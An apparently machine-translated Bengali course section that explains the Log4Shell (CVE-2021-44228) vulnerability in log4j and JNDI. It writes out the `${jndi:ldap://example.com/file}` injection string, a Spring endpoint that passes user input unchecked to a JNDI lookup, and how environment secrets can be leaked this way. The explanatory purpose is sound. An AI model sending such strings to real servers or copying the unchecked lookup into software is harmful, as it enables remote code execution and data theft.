7.1 কেলেঙ্কারি
এবং অবশ্যই, 2021 এর শেষে - সম্প্রতি ঘটে যাওয়া গল্পটি সম্পর্কে বলা অসম্ভব।

ইউএস সাইবারসিকিউরিটি অ্যান্ড ইনফ্রাস্ট্রাকচার প্রোটেকশন এজেন্সি (সিআইএসএ) বলেছে যে সমস্যাটি Log4Shell
ইতিহাসের সবচেয়ে গুরুতর দুর্বলতার একটি। হ্যাঁ, আমরা আমাদের প্রিয় লাইব্রেরির কথা বলছি log4j
।
আমাদের আরামদায়ক ছোট্ট লাইব্রেরি log4j
এবং ইতিহাসের সবচেয়ে বড় দুর্বলতা ? কৌতূহলী? তাহলে শোন.
7.2 দুর্যোগের স্কেল
একটি জটিল দুর্বলতার (কোড CVE-2021-44228) আবিষ্কার Log4Shell
9 ডিসেম্বর, 2021-এ Lunasec নিরাপত্তা বিশেষজ্ঞরা ঘোষণা করেছিলেন। অ্যাপাচি সিকিউরিটি টিম জাভা সম্প্রদায়ের বিশেষজ্ঞরা এই তথ্য যাচাই করেছেন এবং ঝুঁকিপূর্ণ জাভা লাইব্রেরির একটি তালিকা প্রকাশ করেছেন। তালিকা শুধু বিশাল ছিল.
যদি একটি জাভা প্রকল্প একটি লাইব্রেরি ব্যবহার করে log4j
, তাহলে এটি মোটামুটি সহজে হ্যাক করা যেতে পারে। Java
এবং প্রদত্ত যে প্রায় সমস্ত সার্ভার সফ্টওয়্যার সবচেয়ে জনপ্রিয় জাভা লগারে লেখা আছে log4j
, নিরাপত্তা বিশেষজ্ঞদের মতে, দুর্বলতা 93% কর্পোরেট ক্লাউড পরিবেশকে প্রভাবিত করেছে। Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam এবং আরও অনেক কিছুর পছন্দ সহ
অধিকন্তু, দুর্বলতা শুধুমাত্র সার্ভার সফ্টওয়্যার নয়, অনেক জাভা অ্যাপ্লিকেশন, সেইসাথে হার্ডওয়্যার নির্মাতাদেরও প্রভাবিত করেছে। উদাহরণস্বরূপ, ইন্টেল 32টি হ্যাকযোগ্য প্রোগ্রামের একটি তালিকা প্রকাশ করেছে: SDK, সার্ভার রক্ষণাবেক্ষণ সিস্টেম, লিনাক্স সরঞ্জাম।
এনভিডিয়া ডিজিএক্স সার্ভার এবং নেটকিউ টুলস উল্লেখ করে একটি নিরাপত্তা সমস্যা প্রতিবেদনও পোস্ট করেছে। অ্যাপল এবং মাইক্রোসফ্ট দ্বারা জরুরীভাবে বেশ কয়েকটি আপডেট প্রকাশিত হয়েছিল।
মোটামুটিভাবে বলতে গেলে, একজন ছাত্রের ব্রাউজারের ঠিকানা বারে একটি লাইন সার্ভারে রাখে যদি এই লাইনটি লগার খেয়ে ফেলে (অনেক সার্ভারে, সবকিছুই লগ করা হয় HTTP-requests
)।
কোডটি বিশ্লেষণ করার পরে, দেখা গেল যে দুর্বলতা 2013 সাল থেকে লাইব্রেরিতে বসে ছিল, কিন্তু তারা এখনই লক্ষ্য করেছে। এবং যখন তারা আরও গভীর খনন করতে শুরু করেছিল, তখন তারা একটি অতল গহ্বর আবিষ্কার করেছিল, যার নীচের অংশটি মোটেও দৃশ্যমান নয়।
7.3 ইতিহাসের সবচেয়ে গুরুতর দুর্বলতা
2021 সালের ডিসেম্বরে, ইউএস সাইবারসিকিউরিটি অ্যান্ড ইনফ্রাস্ট্রাকচার প্রোটেকশন এজেন্সি (সিআইএসএ) বলেছিল যে Log4Shell
এটি ইতিহাসের সবচেয়ে গুরুতর দুর্বলতাগুলির মধ্যে একটি ।
আরও অনেক বিশেষজ্ঞ একই মত প্রকাশ করেন । সবাই এই দুর্বলতা সম্পর্কে জানে, এবং সব বয়সের হ্যাকাররা ইতিমধ্যেই ব্যক্তিগত তথ্য চুরি করতে এবং বিভিন্ন সংস্থার উপর অন্যান্য ধরণের আক্রমণের জন্য এটি ব্যবহার করছে। ভবিষ্যতে, আমরা ব্যাপক হ্যাক এবং ডেটা ফাঁসের একটি তরঙ্গের জন্য অপেক্ষা করছি।
Log4j সম্পর্কে মেমস সহ একটি পৃথক সাইট রয়েছে এবং প্রতিদিন নতুন ছবি রয়েছে তা দ্বারাও দুর্যোগের মাত্রা অনুমান করা যেতে পারে।

এই সমস্যা আমাদের সাথে দীর্ঘদিন ধরে। লক্ষ লক্ষ না হলেও লক্ষ লক্ষ কম্পিউটার সিস্টেমের নিরাপত্তার গর্ত। সমস্ত পুরানো সফ্টওয়্যার আপডেট করতে হবে এবং অন্তত এই লাইব্রেরিটি সেখানে প্রতিস্থাপন করতে হবে। কিন্তু বেশিরভাগ ক্ষেত্রে, কেউ জানে না কোন লাইব্রেরি এবং কোন সংস্করণ তাদের সফ্টওয়্যারে ব্যবহার করা হয়।
সাধারণভাবে, আমরা কম্পিউটার নিরাপত্তা বিশেষজ্ঞদের বেতন একটি ধারালো বৃদ্ধি আশা.
7.4 দুর্বলতার প্রকৃতি
দুর্বলতার সারাংশ বোঝার জন্য, আপনাকে বুঝতে হবে কিভাবে বড় সার্ভার সিস্টেমগুলি সাজানো হয়। প্রায়শই এই ধরনের সার্ভার অ্যাপ্লিকেশনগুলি বিভিন্ন সার্ভারে অবস্থিত বিভিন্ন পরিষেবাগুলিতে বিভক্ত হয়। এবং JNDI পরিষেবা তাদের যোগাযোগ করতে সাহায্য করে।
জাভা নামকরণ এবং ডিরেক্টরি ইন্টারফেস (JNDI) হল Java API
নাম অনুসারে বস্তু/পরিষেবাগুলি সন্ধান করা। এই বস্তুগুলি বিভিন্ন নামকরণ পরিষেবা বা ডিরেক্টরিতে সংরক্ষণ করা যেতে পারে যেমন রিমোট মেথড ইনভোকেশন (RMI), কমন অবজেক্ট রিকোয়েস্ট ব্রোকার আর্কিটেকচার (CORBA), লাইটওয়েট ডিরেক্টরি অ্যাক্সেস প্রোটোকল (LDAP), বা ডোমেন নেম সার্ভিস (DNS)।
এটির সাথে কাজ করা খুব সহজ - এটি একটি সহজ Java API
যা শুধুমাত্র একটি স্ট্রিং প্যারামিটার নেয় - পরিষেবাটির নাম৷ এটির সাহায্যে, আপনি যে কোনও পরিষেবার সাথে যোগাযোগ করতে পারেন এবং তাকে কিছু করতে এবং / অথবা কিছু ডেটা পাঠাতে বলতে পারেন। উদাহরণস্বরূপ, স্ট্রিং স্ট্রিং-এ নির্দিষ্ট করা ${jndi:ldap://example.com/file}
এই থেকে ডেটা লোড করবে ।URL
যদি প্যারামিটারটি একটি অবিশ্বস্ত উৎস থেকে আসে, তাহলে এটি দূরবর্তী ক্লাস লোডিং এবং তৃতীয় পক্ষের কোড কার্যকর করতে পারে । ক্ষেত্রে কি হয় Log4j
. আক্রমণকারী কেবল শিকারের জাভা অ্যাপ্লিকেশনটিকে দূষিত ব্যক্তির কাছে নির্দেশ করে rmi/ldap/corba-server
এবং প্রতিক্রিয়া হিসাবে একটি দূষিত বস্তু গ্রহণ করে।
প্রযুক্তিগতভাবে, এখানে সমস্যাটি log4j
লাইব্রেরিতে নয়, কিন্তু এর সাথে কাজ করার সময় নিরাপত্তা সেটিংসে JNDI-service
। আমরা কি ধরনের স্ট্রিং পাস করি তা আপনাকে সর্বদা পরীক্ষা করতে হবে InitialContext.lookup()
।
ঝুঁকিপূর্ণ উদাহরণ JNDI-applications
:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 খুব স্মার্ট লাইব্রেরি
আর কোথায় log4j
জিজ্ঞেস করবেন? জিনিসটি হল যে এর বিকাশকারীরা এটির সাথে যতটা সম্ভব আরামদায়ক কাজ করতে চেয়েছিল এবং এতে স্মার্ট লগিং যুক্ত করেছে। এখানে কিভাবে এটা কাজ করে:
এটি সবই শুরু হয়েছিল যে লগ বার্তাগুলি আপনাকে একটি টেমপ্লেট সেট করার অনুমতি দেয় যেখানে ডেটা প্রতিস্থাপিত হয়েছিল, উদাহরণস্বরূপ:
log.debug(“User {user} has {count} friends”, user, count);
ডেটা প্রতিস্থাপন ছাড়াই পুরানো সংস্করণটি দেখতে এইরকম ছিল:
log.debug( “User “+user +” has “+ count +” friends”);
2013 সালে, ভিউ টেমপ্লেট দ্বারা নির্দিষ্ট করা স্মার্ট উপসর্গের প্রতিস্থাপনও লাইব্রেরিতে যোগ করা হয়েছিল ${prefix:name}
। উদাহরণস্বরূপ, স্ট্রিংটি “${java:version}”
তে রূপান্তরিত হবে «Java version 1.7.0_67»
। ওহ কত সুবিধাজনক।
স্বীকৃত এক্সপ্রেশনগুলির মধ্যে রয়েছে ${jndi:<lookup>}
যেখানে jndi প্রোটোকলের পরে আপনি এর মাধ্যমে একটি অনুসন্ধান নির্দিষ্ট করতে পারেন LDAP
: আরবিট্রারিকে URL-address
প্রশ্ন করা যেতে পারে এবং অবজেক্ট ডেটা হিসাবে লোড করা যেতে পারে Java
।
এটি পুরো পদ্ধতির একটি প্রমিত সমস্যা JDK
: এটি স্বয়ংক্রিয়ভাবে একটি বস্তুকে ডিসিরিয়ালাইজ করে, একটি লিঙ্ক যা একটি url আকারে সেট করা যেতে পারে। এই ক্ষেত্রে, রিমোট রিসোর্স থেকে শুধুমাত্র অবজেক্টের ডেটা লোড করা হয় না, তবে এর ক্লাসের কোডও।
হ্যাক এই মত দেখায়:
- দূষিত কোড সহ একটি ফাইল ডাউনলোড করা হচ্ছে
- ফাইলে সিরিয়ালাইজড
Java an object
(এবং এর ক্লাস) - ক্লাস লোড হচ্ছে
Java-machine
- একটি দূষিত শ্রেণীর একটি বস্তু তৈরি করা হয়
- অবজেক্টের কনস্ট্রাক্টর বলা হয়
- কনস্ট্রাক্টর এবং স্ট্যাটিক ইনিশিয়ালাইজেশন উভয়ই দূষিত ক্লাস কোড কার্যকর করার অনুমতি দেয়
লগইন করা লাইনে যদি log4j
এরকম কিছু থাকে ${jndi:ldap://example.com/file}
, তাহলে ইন্টারনেটের সাথে সংযোগ করার সময় log4j
এটি থেকে ডেটা ডাউনলোড করবেURL-address
। লগ ইন করা একটি স্ট্রিং প্রবেশ করে, একজন আক্রমণকারী সর্বজনীন হোস্ট করা দূষিত কোড ডাউনলোড এবং চালাতে পারে URL-address
।
এমনকি যদি ডেটা এক্সিকিউশন অক্ষম করা হয়, একজন আক্রমণকারী ডেটা পেতে পারে, যেমন গোপন পরিবেশের ভেরিয়েবল, এটিকে একটিতে স্থাপন করে URL-address
, যা এটিকে প্রতিস্থাপন করবে এবং আক্রমণকারীর সার্ভারে পাঠাবে।
ভাল খবর হল যে সমস্যাটি দ্রুত লাইব্রেরিতে ঠিক করা হয়েছিল ।
খারাপ খবর হল যে সারা বিশ্বের লক্ষ লক্ষ সার্ভার এখনও এই লাইব্রেরির পুরানো সংস্করণ চালাচ্ছে ...
GO TO FULL VERSION